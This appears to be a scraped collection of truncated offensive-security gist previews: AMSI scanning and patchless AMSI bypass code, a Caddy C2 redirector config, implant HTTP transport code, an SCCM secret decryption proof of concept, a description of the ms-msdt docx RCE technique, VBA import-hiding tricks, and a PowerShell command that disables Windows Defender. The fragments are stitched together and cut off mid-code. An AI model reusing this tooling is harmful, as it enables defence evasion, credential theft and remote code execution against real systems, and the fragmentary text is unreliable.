$ tar -xvf vmName.ova
$ vi vmName.ovf
filter Send-AmsiContent { | |
<# | |
.SYNOPSIS | |
Supplies the AmsiScanBuffer function with a buffer to be scanned by an AMSI provider. | |
Author: Matt Graeber | |
Company: Red Canary | |
.DESCRIPTION |
{ | |
# This instructs Caddy to hit the LetsEncrypt staging endpoint, in production you should remove this. | |
acme_ca https://acme-staging-v02.api.letsencrypt.org/directory | |
} | |
(proxy_upstream) { | |
# Enable access logging to STDOUT | |
log | |
# This is our list of naughty client User Agents that we don't want accessing our C2 |
BOOL TransportSend( LPVOID Data, SIZE_T Size, PVOID* RecvData, PSIZE_T RecvSize ) | |
{ | |
#ifdef TRANSPORT_HTTP | |
HANDLE hConnect = NULL; | |
HANDLE hSession = NULL; | |
HANDLE hRequest = NULL; | |
DWORD HttpFlags = 0; | |
LPVOID RespBuffer = NULL; |
// Twitter thread: https://twitter.com/_xpn_/status/1543682652066258946 (was a bit bored ;) | |
// Needs to be run on the SCCM server containing the "Microsoft Systems Management Server" CSP for it to work. | |
using System; | |
using System.Collections.Generic; | |
using System.Runtime.InteropServices; | |
namespace SCCMDecryptPOC | |
{ | |
internal class Program |
#define WIN32_LEAN_AND_MEAN | |
#include <iostream> | |
#include <windows.h> | |
VOID WINAPI TlsCallback1(PVOID DllHandle, DWORD Reason, PVOID Reserved) | |
{ | |
if (Reason == DLL_PROCESS_ATTACH) | |
{ | |
MessageBoxA(NULL, "Hello from TlsCallback1", "TlsCallback1", 0); |
MS Office docx files may contain external OLE Object references as HTML files. There is an HTML sceme "ms-msdt:" which invokes the msdt diagnostic tool, what is capable of executing arbitrary code (specified in parameters).
The result is a terrifying attack vector for getting RCE through opening malicious docx files (without using macros).
Here are the steps to build a Proof-of-Concept docx:
This PoC is currently not working properly.
The PoC demonstrates how to dynamically call WinAPI imported functions from VBA using oleaut32!DispCallFunc(...)
.
The idea is to get rid of most of the Private Declare PtrSafe Function SomeFunction Lib "kernel32.dll" Alias "Sleep" ( ... )
statements, revealing intent of a dodgy VBA code.
From the offensive perspective we'd prefer to have the least amount of WinAPI import statements in our VBA to lower detection rate on the security aware scanners.
#ifndef PATCHLESS_AMSI_H | |
#define PATCHLESS_AMSI_H | |
#include <windows.h> | |
static const int AMSI_RESULT_CLEAN = 0; | |
PVOID g_amsiScanBufferPtr = nullptr; | |
unsigned long long setBits(unsigned long long dw, int lowBit, int bits, unsigned long long newValue) { |
$cmdline = '/C sc.exe config windefend start= disabled && sc.exe sdset windefend D:(D;;GA;;;WD)(D;;GA;;;OW)' | |
$a = New-ScheduledTaskAction -Execute "cmd.exe" -Argument $cmdline | |
Register-ScheduledTask -TaskName 'TestTask' -Action $a | |
$svc = New-Object -ComObject 'Schedule.Service' | |
$svc.Connect() | |
$user = 'NT SERVICE\TrustedInstaller' | |
$folder = $svc.GetFolder('\') |